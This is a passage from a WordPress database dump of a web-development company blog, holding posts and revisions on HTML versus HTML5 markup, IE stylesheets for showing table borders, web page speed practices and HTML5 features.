Policy&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Todo List&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;h2&gt;Archives&lt;/h2&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;April 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;March 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;February 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;January 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div id=\"footer\"&gt;&lt;p&gt;Copyright 2008 Hobo Web LTD&lt;/p&gt;&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/body&gt;\r\n\r\n&lt;/html&gt;','Difference Between HTML and HTML5','','publish','open','open','','difference-between-html-and-html5','','','2014-07-21 12:43:42','2014-07-21 12:43:42','',0,'http://localhost/yalavarthitechnologies/blog/?p=229',0,'post','',0),(230,1,'2014-07-21 12:43:42','2014-07-21 12:43:42','<strong>Summary:</strong>\r\n\r\n<b>HTML 5 adds new elements to specifically identify each of these common constructs:</b>\r\n\r\nheader: The page header shown on the page; not the same as the head element\r\n\r\nsection: A part or chapter in a book, a section in a chapter, or essentially anythingthat has its own heading in HTML 4\r\n\r\nnav: A collection of links to other pages\r\n\r\narticle: An independent entry in a blog, magazine, compendium, and so forth\r\n\r\nfooter: The page footer where the fine print goes; the signature in an e-mail message\r\n\r\n<b><span style=\"text-decoration: underline;\">HTML5</span></b>\r\n\r\n&lt;!DOCTYPE HTML&gt;\r\n\r\n&lt;html&gt;\r\n\r\n&lt;head&gt;\r\n\r\n&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"&gt;\r\n\r\n&lt;title&gt; == HTML 5 == &lt;/title&gt;\r\n\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n\r\n&lt;header&gt;\r\n\r\n&lt;h1&gt;&lt;a href=\"#\"&gt;Hobo Web&lt;/a&gt;&lt;/h1&gt;\r\n\r\n&lt;/header&gt;\r\n\r\n&lt;section&gt;\r\n\r\n&lt;article&gt;\r\n\r\n&lt;h2&gt;&lt;a href=\"#\"&gt;Test Page 1&lt;/a&gt;&lt;/h2&gt;\r\n\r\n&lt;p&gt;Article Text here&lt;/p&gt;\r\n\r\n&lt;/article&gt;\r\n\r\n&lt;article&gt;\r\n\r\n&lt;h2&gt;&lt;a href=\"#\"&gt;Test 2&lt;/a&gt;&lt;/h2&gt;\r\n\r\n&lt;p&gt;Article Text 2 here&lt;/p&gt;\r\n\r\n&lt;/article&gt;\r\n\r\n&lt;nav&gt;\r\n\r\n&lt;a href=\"#\"&gt;Â« Previous Entries&lt;/a&gt;\r\n\r\n&lt;/nav&gt;\r\n\r\n&lt;/section&gt;\r\n\r\n&lt;nav&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;h2&gt;Hobo Stuff&lt;/h2&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Comment Policy&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Todo List&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;h2&gt;Archives&lt;/h2&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;April 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;March 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;February 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;January 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/nav&gt;\r\n\r\n&lt;footer&gt;\r\n\r\n&lt;p&gt;Copyright 2008 Hobo Web LTD&lt;/p&gt;\r\n\r\n&lt;/footer&gt;\r\n\r\n&lt;/body&gt;\r\n\r\n&lt;/html&gt;\r\n\r\n<b><span style=\"text-decoration: underline;\">HTML</span></b>\r\n\r\n&lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\r\n\r\n&lt;html xmlns=\"http://www.w3.org/1999/xhtml\"&gt;\r\n\r\n&lt;head&gt;\r\n\r\n&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /&gt;\r\n\r\n&lt;title&gt; == HTML == &lt;/title&gt;\r\n\r\n&lt;/head&gt;\r\n\r\n&lt;body&gt;\r\n\r\n&lt;div id=\"page\"&gt;\r\n\r\n&lt;div id=\"header\"&gt;\r\n\r\n&lt;h1&gt;&lt;a href=\"#\"&gt;Hello Web&lt;/a&gt;&lt;/h1&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div id=\"container\"&gt;\r\n\r\n&lt;div id=\"center\"&gt;\r\n\r\n&lt;div id=\"post-102\"&gt;\r\n\r\n&lt;h2&gt;&lt;a href=\"#\"&gt;Test Page 1&lt;/a&gt;&lt;/h2&gt;\r\n\r\n&lt;div&gt;\r\n\r\n&lt;p&gt;Article Text here&lt;/p&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div id=\"post-101\"&gt;\r\n\r\n&lt;h2&gt;&lt;a href=\"#\"&gt;Test 2&lt;/a&gt;&lt;/h2&gt;\r\n\r\n&lt;div&gt;\r\n\r\n&lt;p&gt;Article 2 Text here&lt;/p&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div&gt;\r\n\r\n&lt;div&gt;\r\n\r\n&lt;a href=\"#\"&gt;Previous Entries&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div&gt;&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div id=\"right\"&gt;\r\n\r\n&lt;ul id=\"sidebar\"&gt;\r\n\r\n&lt;li&gt;&lt;h2&gt;Hobo Stuff&lt;/h2&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Comment Policy&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Todo List&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;h2&gt;Archives&lt;/h2&gt;\r\n\r\n&lt;ul&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;April 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;March 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;February 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;li&gt;&lt;a href=\'#\'&gt;January 2008&lt;/a&gt;&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/li&gt;\r\n\r\n&lt;/ul&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;div id=\"footer\"&gt;&lt;p&gt;Copyright 2008 Hobo Web LTD&lt;/p&gt;&lt;/div&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/body&gt;\r\n\r\n&lt;/html&gt;','Difference Between HTML and HTML5','','inherit','open','open','','229-revision-v1','','','2014-07-21 12:43:42','2014-07-21 12:43:42','',229,'http://localhost/yalavarthitechnologies/blog/?p=230',0,'revision','',0),(231,1,'2014-07-21 12:46:05','2014-07-21 12:46:05','<strong>Summary:</strong>\r\n\r\n<b>                                                Plug-in tools, to know table borders in IE Browser</b><b>\r\n\r\n</b><b> </b><b>\r\n\r\n\r\n</b><b>1)  Introduction</b><b>\r\n</b><b>2)  Tools (css files)</b><b>\r\n</b><b>3)  Process</b><b>\r\n</b><b>4)  Output</b><b>\r\n</b><b>5)  Usage</b>\r\n\r\n\r\n<b>1) Introduction :</b>\r\nThese tools are IE based and written in css coding and specific to IE. These files are useful for web design alignments for  all the  platform(Java/PHP/.NET/designer) developers.\r\n\r\n<b>2) Tools (css files) :</b>\r\n\r\nI)<i><span style=\"text-decoration: underline;\">TableInline.css</span></i>\r\nTABLE {border: 4px solid purple !important; margin: 5px !important;\r\nborder-collapse: separate !important; border-spacing: 1px !important; empty-cells: show !important;}\r\nTH {border: 1px solid blue !important; padding: 3px !important;}\r\nTD {border: 1px solid red !important; padding: 3px !important;}\r\n\r\n\r\nII)<i><span style=\"text-decoration: underline;\">TableOutline.css</span></i>\r\nTD IMG, TH IMG {opacity: 25% !important;}\r\nIMG {border: 5px solid white !important;}\r\nIMG[alt] {border-width: 0 !important;}\r\n\r\nTABLE {border: 4px solid purple !important; margin: 5px !important;\r\nborder-collapse: separate !important; border-spacing: 1px !important; empty-cells: show !important;}\r\nTH {border: 1px solid white !important; padding: 3px !important;}\r\nTD {border: 1px solid white !important; padding: 3px !important;}\r\n\r\n<b>3) Process :</b>\r\n\r\nSave the above two css files.\r\n\r\n\r\nHow to apply on browser:-\r\nOpen IE browser\r\n-------&gt;Click on Tools on Tool Bar\r\n-------&gt;Click on Internet options\r\n-------&gt;Click on Accessbility(in General)\r\n-------&gt;Check the radio button of User Style Sheet\r\n-------&gt;Click on Browse button\r\n-------&gt;Select tool kits (css files)\r\n-------&gt;click on Ok button\r\n\r\n<b>4) Output :</b>\r\nI) shows table structures with colors.\r\nII) when we apply \'\"TableInline.css\" file, the output shows table borders along with columns and rows.\r\nIII) when we apply \"TableOutline.css\" file, the output shows table border only.\r\n\r\n<b>5) Usage :</b>\r\nMain use of these tools are  to identify table column,row structure/borders in the web page.  While developing we can  fix alignment issues using this tool. It is very dynamic tool, which we can apply in our project sites and other sites.\r\n\r\nFor example : open www.google.com, apply these tools see what happens..?','Plug-in tools, to know table borders in IE Browser','','publish','open','open','','plug-in-tools-to-know-table-borders-in-ie-browser','','','2014-07-21 12:46:06','2014-07-21 12:46:06','',0,'http://localhost/yalavarthitechnologies/blog/?p=231',0,'post','',0),(233,1,'2014-07-21 12:46:06','2014-07-21 12:46:06','<strong>Summary:</strong>\r\n\r\n<b>                                                Plug-in tools, to know table borders in IE Browser</b><b>\r\n\r\n</b><b> </b><b>\r\n\r\n\r\n</b><b>1)  Introduction</b><b>\r\n</b><b>2)  Tools (css files)</b><b>\r\n</b><b>3)  Process</b><b>\r\n</b><b>4)  Output</b><b>\r\n</b><b>5)  Usage</b>\r\n\r\n\r\n<b>1) Introduction :</b>\r\nThese tools are IE based and written in css coding and specific to IE. These files are useful for web design alignments for  all the  platform(Java/PHP/.NET/designer) developers.\r\n\r\n<b>2) Tools (css files) :</b>\r\n\r\nI)<i><span style=\"text-decoration: underline;\">TableInline.css</span></i>\r\nTABLE {border: 4px solid purple !important; margin: 5px !important;\r\nborder-collapse: separate !important; border-spacing: 1px !important; empty-cells: show !important;}\r\nTH {border: 1px solid blue !important; padding: 3px !important;}\r\nTD {border: 1px solid red !important; padding: 3px !important;}\r\n\r\n\r\nII)<i><span style=\"text-decoration: underline;\">TableOutline.css</span></i>\r\nTD IMG, TH IMG {opacity: 25% !important;}\r\nIMG {border: 5px solid white !important;}\r\nIMG[alt] {border-width: 0 !important;}\r\n\r\nTABLE {border: 4px solid purple !important; margin: 5px !important;\r\nborder-collapse: separate !important; border-spacing: 1px !important; empty-cells: show !important;}\r\nTH {border: 1px solid white !important; padding: 3px !important;}\r\nTD {border: 1px solid white !important; padding: 3px !important;}\r\n\r\n<b>3) Process :</b>\r\n\r\nSave the above two css files.\r\n\r\n\r\nHow to apply on browser:-\r\nOpen IE browser\r\n-------&gt;Click on Tools on Tool Bar\r\n-------&gt;Click on Internet options\r\n-------&gt;Click on Accessbility(in General)\r\n-------&gt;Check the radio button of User Style Sheet\r\n-------&gt;Click on Browse button\r\n-------&gt;Select tool kits (css files)\r\n-------&gt;click on Ok button\r\n\r\n<b>4) Output :</b>\r\nI) shows table structures with colors.\r\nII) when we apply \'\"TableInline.css\" file, the output shows table borders along with columns and rows.\r\nIII) when we apply \"TableOutline.css\" file, the output shows table border only.\r\n\r\n<b>5) Usage :</b>\r\nMain use of these tools are  to identify table column,row structure/borders in the web page.  While developing we can  fix alignment issues using this tool. It is very dynamic tool, which we can apply in our project sites and other sites.\r\n\r\nFor example : open www.google.com, apply these tools see what happens..?','Plug-in tools, to know table borders in IE Browser','','inherit','open','open','','231-revision-v1','','','2014-07-21 12:46:06','2014-07-21 12:46:06','',231,'http://localhost/yalavarthitechnologies/blog/?p=233',0,'revision','',0),(234,1,'2014-07-21 12:48:59','2014-07-21 12:48:59','<strong>Summary:</strong>\r\n\r\nThe Exceptional Performance team has identified a number of best practices for making web pages fast.\r\n\r\n&nbsp;\r\n\r\n<b>Minimize HTTP Requests : </b>\r\n\r\n80% of the end-user response time is spent on the front-end. Most of this time is tied up in downloading all the components in the page: images, style sheets, scripts, flash, etc. Reducing the number of components in turn reduces the number of HTTP requests required to render the page. This is the key to faster pages.\r\n\r\n<b>Combined files</b> are a way to reduce the number of HTTP requests by combining all scripts into a single script, and similarly combining all CSS into a single style sheet.\r\n\r\n<b>CSS Sprites</b> are the preferred method for reducing the number of image requests.\r\n\r\n<b>Image maps</b> combine multiple images into a single image\r\n\r\n&nbsp;\r\n\r\n<b>Use a Content Delivery Network : </b>\r\n\r\nDeploying your content across multiple, geographically dispersed servers will make your pages load faster from the user\'s perspective.\r\n\r\nA content delivery network (CDN) is a collection of web servers distributed across multiple locations to deliver content more efficiently to users.\r\n\r\n&nbsp;\r\n\r\n<b>Add an Expires or a Cache-Control Header :</b>\r\n\r\nThere are two aspects to this rule:\r\n\r\nFor static components: implement \"Never expire\" policy by setting far future Expires header\r\n\r\nFor dynamic components: use an appropriate Cache-Control header to help the browser with conditional requests\r\n\r\n&nbsp;\r\n\r\n<b>Gzip Components : </b>\r\n\r\nThe time it takes to transfer an HTTP request and response across the network can be significantly reduced by decisions made by front-end engineers. It\'s true that the end-user\'s bandwidth speed, Internet service provider, proximity to peering exchange points, etc. are beyond the control of the development team. But there are other variables that affect response times. Compression reduces response times by reducing the size of the HTTP response.\r\n\r\n&nbsp;\r\n\r\n<b>Put Stylesheets at the Top : </b>\r\n\r\nWhile researching performance at Yahoo!, we discovered that moving stylesheets to the document HEAD makes pages <i>appear</i> to be loading faster. This is because putting stylesheets in the HEAD allows the page to render progressively.\r\n\r\n&nbsp;\r\n\r\n<b>Put Scripts at the Bottom : </b>\r\n\r\nThe problem caused by scripts is that they block parallel downloads. The HTTP/1.1 specification suggests that browsers download no more than two components in parallel per hostname. If you serve your images from multiple hostnames, you can get more than two downloads to occur in parallel. While a script is downloading, however, the browser won\'t start any other downloads, even on different hostnames.\r\n\r\n&nbsp;\r\n\r\n<b>Make JavaScript and CSS External  :</b>\r\n\r\nUsing external files in the real world generally produces faster pages because the JavaScript and CSS files are cached by the browser. JavaScript and CSS that are inlined in HTML documents get downloaded every time the HTML document is requested. This reduces the number of HTTP requests that are needed, but increases the size of the HTML document. On the other hand, if the JavaScript and CSS are in external files cached by the browser, the size of the HTML document is reduced without increasing the number of HTTP requests.\r\n\r\n&nbsp;\r\n\r\n<b>Minify JavaScript and CSS :</b>\r\n\r\nMinification is the practice of removing unnecessary characters from code to reduce its size thereby improving load times. When code is minified all comments are removed, as well as unneeded white space characters (space, newline, and tab). In the case of JavaScript, this improves response time performance because the size of the downloaded file is reduced.\r\n\r\n&nbsp;\r\n\r\n<b>Remove Duplicate Scripts : </b>\r\n\r\nIt hurts performance to include the same JavaScript file twice in one page. Duplicate scripts hurt performance by creating unnecessary HTTP requests and wasted JavaScript execution.\r\n\r\n&nbsp;\r\n\r\n<b>Configure ETags : </b>\r\n\r\nEntity tags (ETags) are a mechanism that web servers and browsers use to determine whether the component in the browser\'s cache matches the one on the origin server. (An \"entity\" is another word a \"component\": images, scripts, stylesheets, etc.) ETags were added to provide a mechanism for validating entities that is more flexible than the last-modified date. An ETag is a string that uniquely identifies a specific version of a component\r\n\r\n&nbsp;\r\n\r\n<b>Make Ajax Cacheable : </b>\r\n\r\nTo improve performance, it\'s important to optimize these Ajax responses. The most important way to improve the performance of Ajax is to make the responses cacheable.\r\n\r\n&nbsp;\r\n\r\n<b>Use GET for AJAX Requests : </b>\r\n\r\nWhen using XMLHttpRequest, POST is implemented in the browsers as a two-step process: sending the headers first, then sending data. So it\'s best to use GET, which only takes one TCP packet to send (unless you have a lot of cookies). The maximum URL length in IE is 2K, so if you send more than 2K data you might not be able to use GET.\r\n\r\n&nbsp;\r\n\r\n<b>Split Components Across Domains : </b>\r\n\r\nSplitting components allows you to maximize parallel downloads. Make sure you\'re using not more than 2-4 domains because of the DNS lookup penalty.\r\n\r\n&nbsp;\r\n\r\n<b>Optimize Images : </b>\r\n\r\nTry converting GIFs to PNGs and see if there is a saving. More often than not, there is. Developers often hesitate to use PNGs due to the limited support in browsers, but this is now a thing of the past. The only real problem is alpha-transparency in true color PNGs, but then again, GIFs are not true color and don\'t support variable transparency either. So anything a GIF can do, a palette PNG (PNG8) can do too (except for animations). This simple imagemagick command results in totally safe-to-use PNGs:\r\nconvert image.gif image.png\r\n\r\n&nbsp;\r\n\r\n<b>Optimize CSS Sprites : </b>\r\n\r\nArranging the images in the sprite horizontally as opposed to vertically usually results in a smaller file size.\r\n\r\nCombining similar colors in a sprite helps you keep the color count low, ideally under 256 colors so to fit in a PNG8.\r\n\r\n\"Be mobile-friendly\" and don\'t leave big gaps between the images in a sprite.\r\n\r\n&nbsp;\r\n\r\n<b>Don\'t Scale Images in HTML : </b>\r\n\r\nDon\'t use a bigger image than you need just because you can set the width and height in HTML. If you need\r\n&lt;img width=\"100\" height=\"100\" src=\"mycat.jpg\" alt=\"My Cat\" /&gt;\r\nthen your image (mycat.jpg) should be 100x100px rather than a scaled down 500x500px image\r\n\r\n&nbsp;\r\n\r\n<b>Make favicon.ico Small and Cacheable : </b>\r\n\r\nThe favicon.ico is an image that stays in the root of your server. It\'s a necessary evil because even if you don\'t care about it the browser will still request it, so it\'s better not to respond with a 404 Not Found. Also since it\'s on the same server, cookies are sent every time it\'s requested. This image also interferes with the download sequence, for example in IE when you request extra components in the onload, the favicon will be downloaded before these extra components.\r\n\r\n&nbsp;\r\n\r\n<b>Avoid Empty Image src : </b>\r\n\r\nImage with empty string <b>src</b> attribute occurs more than one will expect. It appears in two form:\r\n\r\nstraight HTML &lt;img src=\"\"&gt;\r\n\r\nReference Site: <a href=\"http://developer.yahoo.com/performance/rules.html\" target=\"_blank\">http://developer.yahoo.com/performance/rules.html</a>','Best Practices for making web pages fast','','publish','open','open','','best-practices-for-making-web-pages-fast','','','2014-07-21 12:48:59','2014-07-21 12:48:59','',0,'http://localhost/yalavarthitechnologies/blog/?p=234',0,'post','',0),(235,1,'2014-07-21 12:47:54','2014-07-21 12:47:54','<strong>Summary:</strong>\n\n<b>                                                Plug-in tools, to know table borders in IE Browser</b><b></b>\n\n<b> </b><b></b>\n\n<b>1)  Introduction</b><b>\n</b><b>2)  Tools (css files)</b><b>\n</b><b>3)  Process</b><b>\n</b><b>4)  Output</b><b>\n</b><b>5)  Usage</b>\n\n<b>1) Introduction :</b>\nThese tools are IE based and written in css coding and specific to IE. These files are useful for web design alignments for  all the  platform(Java/PHP/.NET/designer) developers.\n\n<b>2) Tools (css files) :</b>\n\nI)<i><span style=\"text-decoration: underline;\">TableInline.css</span></i>\nTABLE {border: 4px solid purple !important; margin: 5px !important;\nborder-collapse: separate !important; border-spacing: 1px !important; empty-cells: show !important;}\nTH {border: 1px solid blue !important; padding: 3px !important;}\nTD {border: 1px solid red !important; padding: 3px !important;}\n\nII)<i><span style=\"text-decoration: underline;\">TableOutline.css</span></i>\nTD IMG, TH IMG {opacity: 25% !important;}\nIMG {border: 5px solid white !important;}\nIMG[alt] {border-width: 0 !important;}\n\nTABLE {border: 4px solid purple !important; margin: 5px !important;\nborder-collapse: separate !important; border-spacing: 1px !important; empty-cells: show !important;}\nTH {border: 1px solid white !important; padding: 3px !important;}\nTD {border: 1px solid white !important; padding: 3px !important;}\n\n<b>3) Process :</b>\n\nSave the above two css files.\n\nHow to apply on browser:-\nOpen IE browser\n-------&gt;Click on Tools on Tool Bar\n-------&gt;Click on Internet options\n-------&gt;Click on Accessbility(in General)\n-------&gt;Check the radio button of User Style Sheet\n-------&gt;Click on Browse button\n-------&gt;Select tool kits (css files)\n-------&gt;click on Ok button\n\n<b>4) Output :</b>\nI) shows table structures with colors.\nII) when we apply \'\"TableInline.css\" file, the output shows table borders along with columns and rows.\nIII) when we apply \"TableOutline.css\" file, the output shows table border only.\n\n<b>5) Usage :</b>\nMain use of these tools are  to identify table column,row structure/borders in the web page.  While developing we can  fix alignment issues using this tool. It is very dynamic tool, which we can apply in our project sites and other sites.\n\nFor example : open www.google.com, apply these tools see what happens..?','Plug-in tools, to know table borders in IE Browser','','inherit','open','open','','231-autosave-v1','','','2014-07-21 12:47:54','2014-07-21 12:47:54','',231,'http://localhost/yalavarthitechnologies/blog/?p=235',0,'revision','',0),(236,1,'2014-07-21 12:48:59','2014-07-21 12:48:59','<strong>Summary:</strong>\r\n\r\nThe Exceptional Performance team has identified a number of best practices for making web pages fast.\r\n\r\n&nbsp;\r\n\r\n<b>Minimize HTTP Requests : </b>\r\n\r\n80% of the end-user response time is spent on the front-end. Most of this time is tied up in downloading all the components in the page: images, style sheets, scripts, flash, etc. Reducing the number of components in turn reduces the number of HTTP requests required to render the page. This is the key to faster pages.\r\n\r\n<b>Combined files</b> are a way to reduce the number of HTTP requests by combining all scripts into a single script, and similarly combining all CSS into a single style sheet.\r\n\r\n<b>CSS Sprites</b> are the preferred method for reducing the number of image requests.\r\n\r\n<b>Image maps</b> combine multiple images into a single image\r\n\r\n&nbsp;\r\n\r\n<b>Use a Content Delivery Network : </b>\r\n\r\nDeploying your content across multiple, geographically dispersed servers will make your pages load faster from the user\'s perspective.\r\n\r\nA content delivery network (CDN) is a collection of web servers distributed across multiple locations to deliver content more efficiently to users.\r\n\r\n&nbsp;\r\n\r\n<b>Add an Expires or a Cache-Control Header :</b>\r\n\r\nThere are two aspects to this rule:\r\n\r\nFor static components: implement \"Never expire\" policy by setting far future Expires header\r\n\r\nFor dynamic components: use an appropriate Cache-Control header to help the browser with conditional requests\r\n\r\n&nbsp;\r\n\r\n<b>Gzip Components : </b>\r\n\r\nThe time it takes to transfer an HTTP request and response across the network can be significantly reduced by decisions made by front-end engineers. It\'s true that the end-user\'s bandwidth speed, Internet service provider, proximity to peering exchange points, etc. are beyond the control of the development team. But there are other variables that affect response times. Compression reduces response times by reducing the size of the HTTP response.\r\n\r\n&nbsp;\r\n\r\n<b>Put Stylesheets at the Top : </b>\r\n\r\nWhile researching performance at Yahoo!, we discovered that moving stylesheets to the document HEAD makes pages <i>appear</i> to be loading faster. This is because putting stylesheets in the HEAD allows the page to render progressively.\r\n\r\n&nbsp;\r\n\r\n<b>Put Scripts at the Bottom : </b>\r\n\r\nThe problem caused by scripts is that they block parallel downloads. The HTTP/1.1 specification suggests that browsers download no more than two components in parallel per hostname. If you serve your images from multiple hostnames, you can get more than two downloads to occur in parallel. While a script is downloading, however, the browser won\'t start any other downloads, even on different hostnames.\r\n\r\n&nbsp;\r\n\r\n<b>Make JavaScript and CSS External  :</b>\r\n\r\nUsing external files in the real world generally produces faster pages because the JavaScript and CSS files are cached by the browser. JavaScript and CSS that are inlined in HTML documents get downloaded every time the HTML document is requested. This reduces the number of HTTP requests that are needed, but increases the size of the HTML document. On the other hand, if the JavaScript and CSS are in external files cached by the browser, the size of the HTML document is reduced without increasing the number of HTTP requests.\r\n\r\n&nbsp;\r\n\r\n<b>Minify JavaScript and CSS :</b>\r\n\r\nMinification is the practice of removing unnecessary characters from code to reduce its size thereby improving load times. When code is minified all comments are removed, as well as unneeded white space characters (space, newline, and tab). In the case of JavaScript, this improves response time performance because the size of the downloaded file is reduced.\r\n\r\n&nbsp;\r\n\r\n<b>Remove Duplicate Scripts : </b>\r\n\r\nIt hurts performance to include the same JavaScript file twice in one page. Duplicate scripts hurt performance by creating unnecessary HTTP requests and wasted JavaScript execution.\r\n\r\n&nbsp;\r\n\r\n<b>Configure ETags : </b>\r\n\r\nEntity tags (ETags) are a mechanism that web servers and browsers use to determine whether the component in the browser\'s cache matches the one on the origin server. (An \"entity\" is another word a \"component\": images, scripts, stylesheets, etc.) ETags were added to provide a mechanism for validating entities that is more flexible than the last-modified date. An ETag is a string that uniquely identifies a specific version of a component\r\n\r\n&nbsp;\r\n\r\n<b>Make Ajax Cacheable : </b>\r\n\r\nTo improve performance, it\'s important to optimize these Ajax responses. The most important way to improve the performance of Ajax is to make the responses cacheable.\r\n\r\n&nbsp;\r\n\r\n<b>Use GET for AJAX Requests : </b>\r\n\r\nWhen using XMLHttpRequest, POST is implemented in the browsers as a two-step process: sending the headers first, then sending data. So it\'s best to use GET, which only takes one TCP packet to send (unless you have a lot of cookies). The maximum URL length in IE is 2K, so if you send more than 2K data you might not be able to use GET.\r\n\r\n&nbsp;\r\n\r\n<b>Split Components Across Domains : </b>\r\n\r\nSplitting components allows you to maximize parallel downloads. Make sure you\'re using not more than 2-4 domains because of the DNS lookup penalty.\r\n\r\n&nbsp;\r\n\r\n<b>Optimize Images : </b>\r\n\r\nTry converting GIFs to PNGs and see if there is a saving. More often than not, there is. Developers often hesitate to use PNGs due to the limited support in browsers, but this is now a thing of the past. The only real problem is alpha-transparency in true color PNGs, but then again, GIFs are not true color and don\'t support variable transparency either. So anything a GIF can do, a palette PNG (PNG8) can do too (except for animations). This simple imagemagick command results in totally safe-to-use PNGs:\r\nconvert image.gif image.png\r\n\r\n&nbsp;\r\n\r\n<b>Optimize CSS Sprites : </b>\r\n\r\nArranging the images in the sprite horizontally as opposed to vertically usually results in a smaller file size.\r\n\r\nCombining similar colors in a sprite helps you keep the color count low, ideally under 256 colors so to fit in a PNG8.\r\n\r\n\"Be mobile-friendly\" and don\'t leave big gaps between the images in a sprite.\r\n\r\n&nbsp;\r\n\r\n<b>Don\'t Scale Images in HTML : </b>\r\n\r\nDon\'t use a bigger image than you need just because you can set the width and height in HTML. If you need\r\n&lt;img width=\"100\" height=\"100\" src=\"mycat.jpg\" alt=\"My Cat\" /&gt;\r\nthen your image (mycat.jpg) should be 100x100px rather than a scaled down 500x500px image\r\n\r\n&nbsp;\r\n\r\n<b>Make favicon.ico Small and Cacheable : </b>\r\n\r\nThe favicon.ico is an image that stays in the root of your server. It\'s a necessary evil because even if you don\'t care about it the browser will still request it, so it\'s better not to respond with a 404 Not Found. Also since it\'s on the same server, cookies are sent every time it\'s requested. This image also interferes with the download sequence, for example in IE when you request extra components in the onload, the favicon will be downloaded before these extra components.\r\n\r\n&nbsp;\r\n\r\n<b>Avoid Empty Image src : </b>\r\n\r\nImage with empty string <b>src</b> attribute occurs more than one will expect. It appears in two form:\r\n\r\nstraight HTML &lt;img src=\"\"&gt;\r\n\r\nReference Site: <a href=\"http://developer.yahoo.com/performance/rules.html\" target=\"_blank\">http://developer.yahoo.com/performance/rules.html</a>','Best Practices for making web pages fast','','inherit','open','open','','234-revision-v1','','','2014-07-21 12:48:59','2014-07-21 12:48:59','',234,'http://localhost/yalavarthitechnologies/blog/?p=236',0,'revision','',0),(237,1,'2014-07-21 12:51:38','2014-07-21 12:51:38','<strong>Summary:</strong>\r\n\r\n<strong>Features Introduced in HTML 5</strong>\r\n\r\n•    Semantics: Html 5 has introduced new tags which help in adding semantic value to the page. The     new tags help in understanding the structure of the document. It helps you in recognizing the various parts of the html page such as the header, footer, section aside etc. at a glance. One doesn’t have to go hunting for the various sections of the page.\r\n\r\n•    Consistency: Html 5 aims at adding greater consistency. Web developers have to usually test the malformed documents in various browsers and accordingly sort out the errors. Html 5 is attempting to discover and codify error handling. As standardizing will help display pages consistently.\r\n\r\n\r\n•    Cleaner code: Introducing the semantic HTML 5 elements will greatly reduce the use of div tags, which will make the code look much cleaner and neater. This will also make it easier to understand.\r\n\r\n•    New tags: New tags introduced are for various purpose. Some of the new structural elements are aside, figure, and section. The new inline elements include time, meter, and progress. The new embedding tags are video and audio. New interactive elements include details, datagrid, and command. These new tags will specifically identify the constructs of the page.\r\n\r\n\r\n•    Doctype: The doctype used in html5 is &lt;!DOCTYPE HTML&gt;.\r\n\r\n\r\n•    Video: Video feature supported by html 5 is one of the features which is in limelight. It will help you embed the video with a fewer lines of code. The video element aims at being the standard feature of embedding the video. Previously one required many lines of code, now embedding of the video can be done with fewer number of lines. Support for this video element is still evolving.\r\n\r\n•    Audio: Similarly, audio element helps you to play audio files with just a few lines of code.\r\n\r\n•    Canvas: Canvas is another feature that seems to have gained a lot of attention. Canvas is used along JavaScript. Canvas comes very handy when you want to display graphics, animation, charts, reports etc.\r\n\r\n\r\n•    Drag and drop: Another feature that has come into limelight is 